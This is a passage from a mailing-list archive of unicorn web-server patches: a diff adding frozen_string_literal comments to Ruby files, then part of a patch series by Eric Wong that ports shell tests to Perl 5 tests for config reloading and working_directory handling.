+++ b/lib/unicorn/app/old_rails.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
# This code is based on the original Rails handler in Mongrel
diff --git a/lib/unicorn/app/old_rails/static.rb b/lib/unicorn/app/old_rails/static.rb
index 2257270..cf34e02 100644
--- a/lib/unicorn/app/old_rails/static.rb
+++ b/lib/unicorn/app/old_rails/static.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
# This code is based on the original Rails handler in Mongrel
# Copyright (c) 2005 Zed A. Shaw
diff --git a/lib/unicorn/cgi_wrapper.rb b/lib/unicorn/cgi_wrapper.rb
index d9b7fe5..fb43605 100644
--- a/lib/unicorn/cgi_wrapper.rb
+++ b/lib/unicorn/cgi_wrapper.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
# This code is based on the original CGIWrapper from Mongrel
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index b21a01d..3c81596 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'logger'
# Implements a simple DSL for configuring a unicorn server.
diff --git a/lib/unicorn/const.rb b/lib/unicorn/const.rb
index 33ab4ac..8032863 100644
--- a/lib/unicorn/const.rb
+++ b/lib/unicorn/const.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
module Unicorn::Const # :nodoc:
# default TCP listen host address (0.0.0.0, all interfaces)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index ab3bd6e..a48dab7 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
# no stable API here
require 'unicorn_http'
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index 0ed0ae3..3634165 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
# Writes a Rack response to your client using the HTTP/1.1 specification.
# You use it by simply doing:
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index ed5bbf1..08fbe40 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# This is the process manager of Unicorn. This manages worker
# processes which in turn handle the I/O and application process.
diff --git a/lib/unicorn/launcher.rb b/lib/unicorn/launcher.rb
index 78e8f39..bd3324e 100644
--- a/lib/unicorn/launcher.rb
+++ b/lib/unicorn/launcher.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
$stdout.sync = $stderr.sync = true
diff --git a/lib/unicorn/oob_gc.rb b/lib/unicorn/oob_gc.rb
index db9f2cb..efd9177 100644
--- a/lib/unicorn/oob_gc.rb
+++ b/lib/unicorn/oob_gc.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Strongly consider https://github.com/tmm1/gctools if using Ruby 2.1+
# It is built on new APIs in Ruby 2.1, so it is more intelligent than
diff --git a/lib/unicorn/preread_input.rb b/lib/unicorn/preread_input.rb
index 12eb3e8..c62cc09 100644
--- a/lib/unicorn/preread_input.rb
+++ b/lib/unicorn/preread_input.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
module Unicorn
# This middleware is used to ensure input is buffered to memory
diff --git a/lib/unicorn/select_waiter.rb b/lib/unicorn/select_waiter.rb
index cb84aab..d11ea57 100644
--- a/lib/unicorn/select_waiter.rb
+++ b/lib/unicorn/select_waiter.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# fallback for non-Linux and Linux <4.5 systems w/o EPOLLEXCLUSIVE
class Unicorn::SelectWaiter # :nodoc:
def get_readers(ready, readers, timeout) # :nodoc:
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index 06ec2b2..986932f 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
require 'socket'
diff --git a/lib/unicorn/stream_input.rb b/lib/unicorn/stream_input.rb
index 9246f73..23a9976 100644
--- a/lib/unicorn/stream_input.rb
+++ b/lib/unicorn/stream_input.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# When processing uploads, unicorn may expose a StreamInput object under
# "rack.input" of the Rack environment when
diff --git a/lib/unicorn/tee_input.rb b/lib/unicorn/tee_input.rb
index 2ccc2d9..b3c6535 100644
--- a/lib/unicorn/tee_input.rb
+++ b/lib/unicorn/tee_input.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Acts like tee(1) on an input input to provide a input-like stream
# while providing rewindable semantics through a File/StringIO backing
diff --git a/lib/unicorn/tmpio.rb b/lib/unicorn/tmpio.rb
index 0bbf6ec..deecd80 100644
--- a/lib/unicorn/tmpio.rb
+++ b/lib/unicorn/tmpio.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :stopdoc:
require 'tmpdir'
diff --git a/lib/unicorn/util.rb b/lib/unicorn/util.rb
index b826de4..f28d929 100644
--- a/lib/unicorn/util.rb
+++ b/lib/unicorn/util.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'fcntl'
module Unicorn::Util # :nodoc:
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index 4af31be..d2445d5 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require "raindrops"
# This class and its members can be considered a stable interface
diff --git a/setup.rb b/setup.rb
index cf1abd9..96cf75a 100644
--- a/setup.rb
+++ b/setup.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
#
# setup.rb
#
diff --git a/t/broken-app.ru b/t/broken-app.ru
index d05d7ab..5966bff 100644
--- a/t/broken-app.ru
+++ b/t/broken-app.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# we do not want Rack::Lint or anything to protect us
use Rack::ContentLength
use Rack::ContentType, "text/plain"
diff --git a/t/client_body_buffer_size.ru b/t/client_body_buffer_size.ru
index 44161a5..1a0fb16 100644
--- a/t/client_body_buffer_size.ru
+++ b/t/client_body_buffer_size.ru
@@ -1,4 +1,5 @@
#\ -E none
+# frozen_string_literal: false
app = lambda do |env|
input = env['rack.input']
case env["PATH_INFO"]
diff --git a/t/detach.ru b/t/detach.ru
index bbd998e..8d35951 100644
--- a/t/detach.ru
+++ b/t/detach.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentType, "text/plain"
fifo_path = ENV["TEST_FIFO"] or abort "TEST_FIFO not set"
run lambda { |env|
diff --git a/t/env.ru b/t/env.ru
index 388412e..86c3cfa 100644
--- a/t/env.ru
+++ b/t/env.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, "text/plain"
run lambda { |env| [ 200, {}, [ env.inspect << "\n" ] ] }
diff --git a/t/fails-rack-lint.ru b/t/fails-rack-lint.ru
index 82bfb5f..8b8b5ec 100644
--- a/t/fails-rack-lint.ru
+++ b/t/fails-rack-lint.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# This rack app returns an invalid status code, which will cause
# Rack::Lint to throw an exception if it is present. This
# is used to check whether Rack::Lint is in the stack or not.
diff --git a/t/heartbeat-timeout.ru b/t/heartbeat-timeout.ru
index 3eeb5d6..ccc6a8e 100644
--- a/t/heartbeat-timeout.ru
+++ b/t/heartbeat-timeout.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentLength
headers = { 'content-type' => 'text/plain' }
run lambda { |env|
diff --git a/t/integration.ru b/t/integration.ru
index 888833a..6df481c 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -1,4 +1,5 @@
#!ruby
+# frozen_string_literal: false
# Copyright (C) unicorn hackers <unicorn-public@80x24.org>
# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
diff --git a/t/listener_names.ru b/t/listener_names.ru
index edb4e6a..f52c59b 100644
--- a/t/listener_names.ru
+++ b/t/listener_names.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, "text/plain"
names = Unicorn.listener_names.inspect # rely on preload_app=true
diff --git a/t/oob_gc.ru b/t/oob_gc.ru
index 224cb06..2ae58a8 100644
--- a/t/oob_gc.ru
+++ b/t/oob_gc.ru
@@ -1,4 +1,5 @@
#\-E none
+# frozen_string_literal: false
require 'unicorn/oob_gc'
use Rack::ContentLength
use Rack::ContentType, "text/plain"
diff --git a/t/oob_gc_path.ru b/t/oob_gc_path.ru
index 7f40601..5358222 100644
--- a/t/oob_gc_path.ru
+++ b/t/oob_gc_path.ru
@@ -1,4 +1,5 @@
#\-E none
+# frozen_string_literal: false
require 'unicorn/oob_gc'
use Rack::ContentLength
use Rack::ContentType, "text/plain"
diff --git a/t/pid.ru b/t/pid.ru
index f5fd31f..b49b137 100644
--- a/t/pid.ru
+++ b/t/pid.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, "text/plain"
run lambda { |env| [ 200, {}, [ "#$$\n" ] ] }
diff --git a/t/preread_input.ru b/t/preread_input.ru
index 18af221..5f68fe9 100644
--- a/t/preread_input.ru
+++ b/t/preread_input.ru
@@ -1,4 +1,5 @@
#\-E none
+# frozen_string_literal: false
require 'digest/md5'
require 'unicorn/preread_input'
use Unicorn::PrereadInput
diff --git a/t/reopen-logs.ru b/t/reopen-logs.ru
index c39e8f6..488da85 100644
--- a/t/reopen-logs.ru
+++ b/t/reopen-logs.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, "text/plain"
run lambda { |env|
diff --git a/t/t0013.ru b/t/t0013.ru
index 48a3a34..e425093 100644
--- a/t/t0013.ru
+++ b/t/t0013.ru
@@ -1,4 +1,5 @@
#\ -E none
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, 'text/plain'
app = lambda do |env|
diff --git a/t/t0014.ru b/t/t0014.ru
index b0bd2b7..686d214 100644
--- a/t/t0014.ru
+++ b/t/t0014.ru
@@ -1,4 +1,5 @@
#\ -E none
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, 'text/plain'
app = lambda do |env|
diff --git a/t/t0301.ru b/t/t0301.ru
index ce68213..54929b1 100644
--- a/t/t0301.ru
+++ b/t/t0301.ru
@@ -1,4 +1,5 @@
#\-N --debug
+# frozen_string_literal: false
run(lambda do |env|
case env['PATH_INFO']
when '/vars'
diff --git a/test/aggregate.rb b/test/aggregate.rb
index 5eebbe5..0f32b2f 100755
--- a/test/aggregate.rb
+++ b/test/aggregate.rb
@@ -1,5 +1,6 @@
#!/usr/bin/ruby -n
# -*- encoding: binary -*-
+# frozen_string_literal: false
BEGIN { $tests = $assertions = $failures = $errors = 0 }
diff --git a/test/benchmark/dd.ru b/test/benchmark/dd.ru
index 111fa2e..5bd2739 100644
--- a/test/benchmark/dd.ru
+++ b/test/benchmark/dd.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# This benchmark is the simplest test of the I/O facilities in
# unicorn. It is meant to return a fixed-sized blob to test
# the performance of things in Unicorn, _NOT_ the app.
diff --git a/test/benchmark/ddstream.ru b/test/benchmark/ddstream.ru
index b14c973..fd40ced 100644
--- a/test/benchmark/ddstream.ru
+++ b/test/benchmark/ddstream.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# This app is intended to test large HTTP responses with or without
# a fully-buffering reverse proxy such as nginx. Without a fully-buffering
# reverse proxy, unicorn will be unresponsive when client count exceeds
diff --git a/test/benchmark/readinput.ru b/test/benchmark/readinput.ru
index c91bec3..95c0226 100644
--- a/test/benchmark/readinput.ru
+++ b/test/benchmark/readinput.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# This app is intended to test large HTTP requests with or without
# a fully-buffering reverse proxy such as nginx. Without a fully-buffering
# reverse proxy, unicorn will be unresponsive when client count exceeds
diff --git a/test/benchmark/stack.ru b/test/benchmark/stack.ru
index fc9193f..17a565b 100644
--- a/test/benchmark/stack.ru
+++ b/test/benchmark/stack.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
run(lambda { |env|
body = "#{caller.size}\n"
h = {
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 8494452..807f724 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Don't add to this file, new tests are in Perl 5. See t/README
FLOCK_PATH = File.expand_path(__FILE__)
require './test/test_helper'
diff --git a/test/test_helper.rb b/test/test_helper.rb
index d86f83b..0bf3c90 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
diff --git a/test/unit/test_ccc.rb b/test/unit/test_ccc.rb
index f518230..a0a2bff 100644
--- a/test/unit/test_ccc.rb
+++ b/test/unit/test_ccc.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
require 'socket'
require 'unicorn'
require 'io/wait'
diff --git a/test/unit/test_configurator.rb b/test/unit/test_configurator.rb
index 1298f0e..1a89aca 100644
--- a/test/unit/test_configurator.rb
+++ b/test/unit/test_configurator.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'test/unit'
require 'tempfile'
diff --git a/test/unit/test_droplet.rb b/test/unit/test_droplet.rb
index 81ad82b..4b2d2d0 100644
--- a/test/unit/test_droplet.rb
+++ b/test/unit/test_droplet.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
require 'test/unit'
require 'unicorn'
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 697af44..adcc84f 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index 425d5ad..fd47246 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require './test/test_helper'
require 'digest/md5'
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index 53ae944..9d1b350 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Copyright (c) 2009 Eric Wong
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 7ffa48f..5a2252f 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index 6c48754..49ff3c7 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Copyright (c) 2009 Eric Wong
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index a446f06..4363474 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require './test/test_helper'
require 'tempfile'
diff --git a/test/unit/test_stream_input.rb b/test/unit/test_stream_input.rb
index 7986ca7..7ee98e4 100644
--- a/test/unit/test_stream_input.rb
+++ b/test/unit/test_stream_input.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'test/unit'
require 'digest/sha1'
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 607ce87..8f05c77 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'test/unit'
require 'digest/sha1'
diff --git a/test/unit/test_util.rb b/test/unit/test_util.rb
index bc7b233..ce53b86 100644
--- a/test/unit/test_util.rb
+++ b/test/unit/test_util.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require './test/test_helper'
require 'tempfile'
diff --git a/test/unit/test_waiter.rb b/test/unit/test_waiter.rb
index 0995de2..a20994b 100644
--- a/test/unit/test_waiter.rb
+++ b/test/unit/test_waiter.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
require 'test/unit'
require 'unicorn'
require 'unicorn/select_waiter'
diff --git a/unicorn.gemspec b/unicorn.gemspec
index e7e3ef7..36700a8 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
manifest = File.exist?('.manifest') ?
IO.readlines('.manifest').map!(&:chomp!) : `git ls-files`.split("\n")
^ permalink raw reply related [relevance 19%]
* [PATCH 00..11/11] more tests to Perl 5..
@ 2023-09-10 20:08 13% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2023-09-10 20:08 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 3020 bytes --]
Hopefully this is less maintenance down the line since Ruby
introduces incompatibilities at a higher rate than Perl.
I don't fully trust Perl, either, but far more Ruby code gets
broken by new releases.
More to come at some point...
Note: attached patches are generated with --irreversible-delete
to save bandwidth.
Eric Wong (11):
tests: port some bad config tests to Perl 5
tests: port working_directory tests to Perl 5
tests: port t/heartbeat-timeout to Perl 5
tests: port reopen logs test over to Perl 5
tests: rewrite SIGWINCH && SIGTTIN test in Perl 5
tests: introduce `do_req' helper sub
tests: use more common variable names between tests
tests: use Time::HiRes `sleep' and `time' everywhere
tests: fold SO_KEEPALIVE check to Perl 5 integration
tests: move broken app test to Perl 5 integration test
tests: fold early shutdown() tests into t/integration.t
t/active-unix-socket.t | 4 +-
t/client_body_buffer_size.t | 6 +-
t/heartbeat-timeout.ru | 2 +-
t/heartbeat-timeout.t | 62 +++++++++++++++
t/integration.ru | 1 +
t/integration.t | 82 +++++++++++++-------
t/lib.perl | 51 ++++++++++--
t/reload-bad-config.t | 54 +++++++++++++
t/{t0006.ru => reopen-logs.ru} | 0
t/reopen-logs.t | 39 ++++++++++
t/t0001-reload-bad-config.sh | 53 -------------
t/t0002-config-conflict.sh | 49 ------------
t/t0003-working_directory.sh | 51 ------------
t/t0004-heartbeat-timeout.sh | 69 -----------------
t/t0004-working_directory_broken.sh | 24 ------
t/t0005-working_directory_app.rb.sh | 40 ----------
t/t0006-reopen-logs.sh | 83 --------------------
t/t0007-working_directory_no_embed_cli.sh | 44 -----------
t/t0009-winch_ttin.sh | 59 --------------
t/winch_ttin.t | 67 ++++++++++++++++
t/working_directory.t | 94 +++++++++++++++++++++++
test/exec/test_exec.rb | 23 +-----
test/unit/test_server.rb | 67 ----------------
23 files changed, 424 insertions(+), 600 deletions(-)
create mode 100644 t/heartbeat-timeout.t
create mode 100644 t/reload-bad-config.t
rename t/{t0006.ru => reopen-logs.ru} (100%)
create mode 100644 t/reopen-logs.t
delete mode 100755 t/t0001-reload-bad-config.sh
delete mode 100755 t/t0002-config-conflict.sh
delete mode 100755 t/t0003-working_directory.sh
delete mode 100755 t/t0004-heartbeat-timeout.sh
delete mode 100755 t/t0004-working_directory_broken.sh
delete mode 100755 t/t0005-working_directory_app.rb.sh
delete mode 100755 t/t0006-reopen-logs.sh
delete mode 100755 t/t0007-working_directory_no_embed_cli.sh
delete mode 100755 t/t0009-winch_ttin.sh
create mode 100644 t/winch_ttin.t
create mode 100644 t/working_directory.t
[-- Attachment #2: 0001-tests-port-some-bad-config-tests-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 3987 bytes --]
From f43c28ea10ca8d520b55f2fbb20710dd66fc4fb5 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Thu, 7 Sep 2023 22:55:09 +0000
Subject: [PATCH 01/11] tests: port some bad config tests to Perl 5
We can fold some tests into one test to save on Perl startup
time (but Ruby startup time is a lost cause).
---
t/lib.perl | 12 ++++----
t/reload-bad-config.t | 58 ++++++++++++++++++++++++++++++++++++
t/t0001-reload-bad-config.sh | 53 --------------------------------
t/t0002-config-conflict.sh | 49 ------------------------------
4 files changed, 65 insertions(+), 107 deletions(-)
create mode 100644 t/reload-bad-config.t
delete mode 100755 t/t0001-reload-bad-config.sh
delete mode 100755 t/t0002-config-conflict.sh
diff --git a/t/lib.perl b/t/lib.perl
index fe3404ba..7de9e426 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -9,17 +9,19 @@ use Test::More;
use IO::Socket::INET;
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
-our ($tmpdir, $errfh);
-our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn $tmpdir $errfh
+our ($tmpdir, $errfh, $err_log);
+our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn
+ $tmpdir $errfh $err_log
SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
-open($errfh, '>>', "$tmpdir/err.log");
-END { diag slurp("$tmpdir/err.log") if $tmpdir };
+$err_log = "$tmpdir/err.log";
+open($errfh, '>>', $err_log);
+END { diag slurp($err_log) if $tmpdir };
sub check_stderr () {
- my @log = slurp("$tmpdir/err.log");
+ my @log = slurp($err_log);
diag("@log") if $ENV{V};
my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
@err = grep(!/failed to set accept_filter=/, @err);
diff --git a/t/reload-bad-config.t b/t/reload-bad-config.t
new file mode 100644
index 00000000..c7055c7e
--- /dev/null
+++ b/t/reload-bad-config.t
@@ -0,0 +1,58 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+my $srv = tcp_server();
+my $host_port = tcp_host_port($srv);
+my $ru = "$tmpdir/config.ru";
+my $u_conf = "$tmpdir/u.conf.rb";
+
+open my $fh, '>', $ru;
+print $fh <<'EOM';
+use Rack::ContentLength
+use Rack::ContentType, 'text/plain'
+config = ru = "hello world\n" # check for config variable conflicts, too
+run lambda { |env| [ 200, {}, [ ru.to_s ] ] }
+EOM
+close $fh;
+
+open $fh, '>', $u_conf;
+print $fh <<EOM;
+preload_app true
+stderr_path "$err_log"
+EOM
+close $fh;
+
+my $ar = unicorn(qw(-E none -c), $u_conf, $ru, { 3 => $srv });
+my $c = tcp_start($srv, 'GET / HTTP/1.0');
+my ($status, $hdr) = slurp_hdr($c);
+my $bdy = do { local $/; <$c> };
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid at start');
+is($bdy, "hello world\n", 'body matches expected');
+
+open $fh, '>>', $ru;
+say $fh '....this better be a syntax error in any version of ruby...';
+close $fh;
+
+$ar->do_kill('HUP'); # reload
+my @l;
+for (1..1000) {
+ @l = grep(/(?:done|error) reloading/, slurp($err_log)) and
+ last;
+ select undef, undef, undef, 0.011;
+}
+diag slurp($err_log) if $ENV{V};
+ok(grep(/error reloading/, @l), 'got error reloading');
+open $fh, '>', $err_log;
+close $fh;
+
+$c = tcp_start($srv, 'GET / HTTP/1.0');
+($status, $hdr) = slurp_hdr($c);
+$bdy = do { local $/; <$c> };
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid afte reload');
+is($bdy, "hello world\n", 'body matches expected after reload');
+
+check_stderr;
+undef $tmpdir; # quiet t/lib.perl END{}
+done_testing;
diff --git a/t/t0001-reload-bad-config.sh b/t/t0001-reload-bad-config.sh
deleted file mode 100755
index 55bb3555..00000000
diff --git a/t/t0002-config-conflict.sh b/t/t0002-config-conflict.sh
deleted file mode 100755
index d7b2181a..00000000
[-- Attachment #3: 0002-tests-port-working_directory-tests-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 4809 bytes --]
From d4514174ee7eadea89003f380acacf32d52acd9d Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Thu, 7 Sep 2023 23:18:16 +0000
Subject: [PATCH 02/11] tests: port working_directory tests to Perl 5
We can fold a bunch of them into one test to save startup
time, inodes, and FS activity.
---
t/t0003-working_directory.sh | 51 ---------
t/t0004-working_directory_broken.sh | 24 -----
t/t0005-working_directory_app.rb.sh | 40 -------
t/t0007-working_directory_no_embed_cli.sh | 44 --------
t/working_directory.t | 122 ++++++++++++++++++++++
5 files changed, 122 insertions(+), 159 deletions(-)
delete mode 100755 t/t0003-working_directory.sh
delete mode 100755 t/t0004-working_directory_broken.sh
delete mode 100755 t/t0005-working_directory_app.rb.sh
delete mode 100755 t/t0007-working_directory_no_embed_cli.sh
create mode 100644 t/working_directory.t
diff --git a/t/t0003-working_directory.sh b/t/t0003-working_directory.sh
deleted file mode 100755
index 79988d8b..00000000
diff --git a/t/t0004-working_directory_broken.sh b/t/t0004-working_directory_broken.sh
deleted file mode 100755
index ca9d3825..00000000
diff --git a/t/t0005-working_directory_app.rb.sh b/t/t0005-working_directory_app.rb.sh
deleted file mode 100755
index 0fbab4fc..00000000
diff --git a/t/t0007-working_directory_no_embed_cli.sh b/t/t0007-working_directory_no_embed_cli.sh
deleted file mode 100755
index 77d67072..00000000
diff --git a/t/working_directory.t b/t/working_directory.t
new file mode 100644
index 00000000..e7ff43a5
--- /dev/null
+++ b/t/working_directory.t
@@ -0,0 +1,122 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+mkdir "$tmpdir/alt";
+my $u_sock = "$tmpdir/u.sock";
+my $ru = "$tmpdir/alt/config.ru";
+my $u_conf = "$tmpdir/u.conf.rb";
+open my $fh, '>', $u_conf;
+print $fh <<EOM;
+pid "$tmpdir/pid"
+preload_app true
+stderr_path "$err_log"
+working_directory "$tmpdir/alt" # the whole point of this test
+before_fork { |_,_| \$master_ppid = Process.ppid }
+EOM
+close $fh;
+
+my $common_ru = <<'EOM';
+use Rack::ContentLength
+use Rack::ContentType, 'text/plain'
+run lambda { |env| [ 200, {}, [ "#{$master_ppid}\n" ] ] }
+EOM
+
+open $fh, '>', $ru;
+print $fh <<EOM;
+#\\--daemonize --listen $u_sock
+$common_ru
+EOM
+close $fh;
+
+my $pid;
+my $stop_daemon = sub {
+ my ($is_END) = @_;
+ kill('TERM', $pid);
+ my $tries = 1000;
+ while (CORE::kill(0, $pid) && --$tries) {
+ select undef, undef, undef, 0.01;
+ }
+ if ($is_END && CORE::kill(0, $pid)) {
+ CORE::kill('KILL', $pid);
+ die "daemonized PID=$pid did not die";
+ } else {
+ ok(!CORE::kill(0, $pid), 'daemonized unicorn gone');
+ undef $pid;
+ }
+};
+
+END { $stop_daemon->(1) if defined $pid };
+
+unicorn('-c', $u_conf)->join; # will daemonize
+chomp($pid = slurp("$tmpdir/pid"));
+
+my $c = unix_start($u_sock, 'GET / HTTP/1.0');
+my ($status, $hdr) = slurp_hdr($c);
+chomp(my $bdy = do { local $/; <$c> });
+is($bdy, 1, 'got expected $master_ppid');
+
+$stop_daemon->();
+check_stderr;
+
+if ('test without CLI switches in config.ru') {
+ truncate $err_log, 0;
+ open $fh, '>', $ru;
+ print $fh $common_ru;
+ close $fh;
+
+ unicorn('-D', '-l', $u_sock, '-c', $u_conf)->join; # will daemonize
+ chomp($pid = slurp("$tmpdir/pid"));
+
+ $c = unix_start($u_sock, 'GET / HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ chomp($bdy = do { local $/; <$c> });
+ is($bdy, 1, 'got expected $master_ppid');
+
+ $stop_daemon->();
+ check_stderr;
+}
+
+if ('ensures broken working_directory (missing config.ru) is OK') {
+ truncate $err_log, 0;
+ unlink $ru;
+
+ my $auto_reap = unicorn('-c', $u_conf);
+ $auto_reap->join;
+ isnt($?, 0, 'exited with error due to missing config.ru');
+
+ like(slurp($err_log), qr/rackup file \Q(config.ru)\E not readable/,
+ 'noted unreadability of config.ru in stderr');
+}
+
+if ('fooapp.rb (not config.ru) works with working_directory') {
+ truncate $err_log, 0;
+ my $fooapp = "$tmpdir/alt/fooapp.rb";
